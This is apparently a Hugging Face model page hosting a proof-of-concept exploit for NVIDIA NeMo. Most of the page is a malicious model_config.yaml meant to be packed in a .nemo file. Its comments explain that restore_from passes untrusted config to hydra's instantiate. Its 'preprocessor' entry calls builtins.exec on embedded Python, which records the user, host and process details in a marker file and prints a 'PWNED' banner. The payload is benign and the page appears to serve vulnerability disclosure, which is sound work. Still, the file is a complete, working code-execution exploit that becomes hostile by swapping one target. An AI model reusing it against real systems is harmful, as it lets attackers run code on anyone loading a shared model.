Instructions to use Havzer/nemo-restore-from-rce-poc with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- NeMo
How to use Havzer/nemo-restore-from-rce-poc with NeMo:
# tag did not correspond to a valid NeMo domain.
- Notebooks
- Google Colab
- Kaggle
| # =========================================================================== | |
| # MALICIOUS model_config.yaml -- this is the file packed inside the .nemo | |
| # --------------------------------------------------------------------------- | |
| # A real attacker ships this verbatim inside an innocent-looking vocoder | |
| # ".nemo" on the Hugging Face Hub. When a victim calls the documented | |
| # WaveGlowModel.restore_from(<file>.nemo) API, NeMo 2.7.3 does: | |
| # | |
| # conf = OmegaConf.load("model_config.yaml") # this file (untrusted) | |
| # model = WaveGlowModel.from_config_dict(conf) # -> WaveGlowModel(cfg=conf) | |
| # -> WaveGlowModel.__init__ (waveglow.py:49): | |
| # instantiate(self._cfg.preprocessor) # RAW hydra.utils.instantiate | |
| # | |
| # hydra.utils.instantiate() resolves and CALLS `_target_` with `_args_`. | |
| # There is NO safe_instantiate / allow-list on this path, so any callable | |
| # (builtins.exec, os.system, subprocess.call, ...) runs at load time. | |
| # | |
| # The payload below is deliberately benign: it prints a banner and writes a | |
| # marker file into the OS temp dir. Swap `_target_`/`_args_` for proof that | |
| # an attacker controls the call. | |
| # =========================================================================== | |
| sigma: 1.0 | |
| # ---- THE SINK: instantiate(self._cfg.preprocessor) at waveglow.py:49 ---- | |
| preprocessor: | |
| _target_: builtins.exec | |
| _args_: | |
| - | | |
| import os, tempfile, getpass, platform | |
| _msg = "NeMo .nemo restore_from() ARBITRARY CODE EXECUTION (huntr PoC)" | |
| _marker = os.path.join(tempfile.gettempdir(), "PWNED_NEMO_HF.txt") | |
| with open(_marker, "w") as _f: | |
| _f.write(_msg + "\n") | |
| _f.write("user=" + getpass.getuser() + " host=" + platform.node() + "\n") | |
| _f.write("pid=" + str(os.getpid()) + " cwd=" + os.getcwd() + "\n") | |
| print("\n" + "=" * 72) | |
| print("[PWNED] " + _msg) | |
| print(" code executed INSIDE WaveGlowModel.restore_from() __init__") | |
| print(" (hydra.utils.instantiate on untrusted model_config.yaml)") | |
| print(" marker written to: " + _marker) | |
| print("=" * 72 + "\n") | |
| # second raw sink at waveglow.py:50 (instantiate(self._cfg.waveglow)); | |
| # left empty -- the preprocessor payload above has already executed by now. | |
| waveglow: {} | |